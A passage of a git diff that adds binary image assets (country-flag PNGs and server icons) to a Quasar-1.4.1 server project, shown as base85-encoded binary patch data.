znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z0004!Nklu)P9D80RSe+LU<4Cl=RiicE_sv9;;2n zssf<%WVHmQ_U^&V7)74)MaO4>yONed2q*-?sPp{g>k`IItQErp5~nH;odmF zsK5T-z&%X^2Y|Pdb@(UmK7Iz^&j2^xx$Ap#*d_n~ N002ovPDHLkV1hQN@kjsw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png new file mode 100755 index 0000000000000000000000000000000000000000..468dfad03867903f825e82de35934f3191e5f638 GIT binary patch literal 413 zcmV;O0b>4%P)h=Z!r1m*T3JtfNUmdS)dI70mLHE z+xy?%p5eHez0mS(A>sL-rPOy{yGk_s3 zz{tq>=+Ps90Al&~?;k`pNCN|I|RMxbJV00L=%3E(v!XamT}{{RArWx|9$7Z{pWi2U{IKN}lRCnF;x&=P&!(V3Rv&T;|GP6K500a;d#1A^U zy8js%fB*jT=jRXRU*A|5K#2L*r(ZvQ{P_O!=da%umKG4l0|XG%NkAKznV4BvSbj4y zawHV~fBoj~uiyXJSQwZYIoR0QIXM3O{tc7`Dgy{0# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/za.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/za.png new file mode 100755 index 0000000000000000000000000000000000000000..57c58e2119f402072640ca758657798b621f3fb1 GIT binary patch literal 642 zcmV-|0)737P)Cfuwe;F7c=r;qyPX>nX3=Cfx7(O#Fd}LsF&%p4OfdL?Z7#j~W z{9>KL@b8bfkaUokt?1q(EJu$q{Qdp^&mV?AfBydlG2rBvO`8A$h{fmzgIW0J+B07s zK74uV#pQB`MAdI!SdN|k|KJ`--LK#OfB*Xb>lcvCC@cGqfdL=@05Jg0{{a910Lj6A zAt&mC*9zzO1pWQ@b1`Tn1`iV6=KuBe|Nj2}{{8>`{{Q~|0SOB6tE&PCq@k>=Oh@B| zgDu0v2b@p;u)h2C^Y4EK4rY$O|Ni{`3qc?^$?%A8m^2X}fLMSU{`~p7aqHLD@0rW| zzIWc|c>Ry-$DePXKfn0(_xG>AzksTL{re5n#{Tyw!wUw000L?F`}dEV6O*(3zu6Di z9{gne@#pKG|NpqSh1vf81DXBz&mW+Me}8zmL>PD&00Ic4!QY)xLzl7RCikV!EWdtz zoorLj&BXoYF88-DfB*gk`{Eza7yo#;S!C4G00M|*elvr*8B6X-zBgb0FtGkEHc8mM zoOScs_b*;Q0~!ksq<=swfJjA!^Ww!_00G4E&x@hvA~zQkvxU59n3VsHd7Nj?ec|R~ zkmuqAx#JHo0{#K*`TG}00$uYDAb=PdGJ(Ek5Vx?d6PS=4{E7kSFNS|$^b5xL14ayB ck_{lh0N_F{UmK66LjV8(07*qoM6N<$f>aVd=Kufz literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png new file mode 100755 index 0000000000000000000000000000000000000000..c25b07beef894408ae11c3be294d6e0eeb28c0bb GIT binary patch literal 500 zcmVLz(k0+Rp#|Nr~{@4x^5fB>iy$Oe)U zA3pkg`SAPSuU~)vaR2(F*|!oPfLI`Azxw(Lr25~#KmY#x{rl(7|GyyW-|wp|{||Bf z=)Cuc_0O*fYWnY`7ytr@1!(pEfB(To0uBE22c#NA{{8#+_rKq)zyAFG`zKdY6euFW z2yzlY0I`6SGJqWbGV%`;{r&ytA5hcp-u`P`AAdOg`t|1D?}h2=^+y>10tjRS&?yMj zfBygt2HEouXg1LCzyJLD1w#LR1MLR}1V8|>0KE@nffPa916Bvu_V4#Epof105yNkw zzknJ50tl=DS->P)FK#X6%e&u3i|I74$@9uP0*YE!se={)r{r~?r68Z&3 zzZn^2KYiK`5I`&p3=IF7JHD>uaSofgtUAf*-w!6nU;qF7`S<(x|35&+uYZ4j|Njjl zS;T)|pU40ZKrEjoRWbQ1@P?oGFzcPCjLiCzcU8ZC{rmejNW<@6e}U*1kPT$~=Kk_~ z83O}A05QHjx|ikdd7h}_|NsB_wl9j+&d<}^`}fbEzkmP!1q4tEL@O#P9zA*#Ab?m{ zv`qe9Isj6Ah@Z*IdsTw}WYHgB8-D!*lmGvK*?)d>i2vThzyJ_HEdLn(@uk-N0|t-& z`$Yv&?#y3UfPVP*`ya#a|BS!>G5-DsFR)1c1&eHCHYDzO7ytqc0P0;>l>h9)WB>pF M07*qoM6N<$g71PE`~Uy| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico new file mode 100755 index 0000000000000000000000000000000000000000..0ef75c8a4e6eda9bb549b444f43df6df76c61bf8 GIT binary patch literal 32038 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png new file mode 100755 index 0000000000000000000000000000000000000000..5af6fcf4ba04709888895270328644489923b57d GIT binary patch literal 9277 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 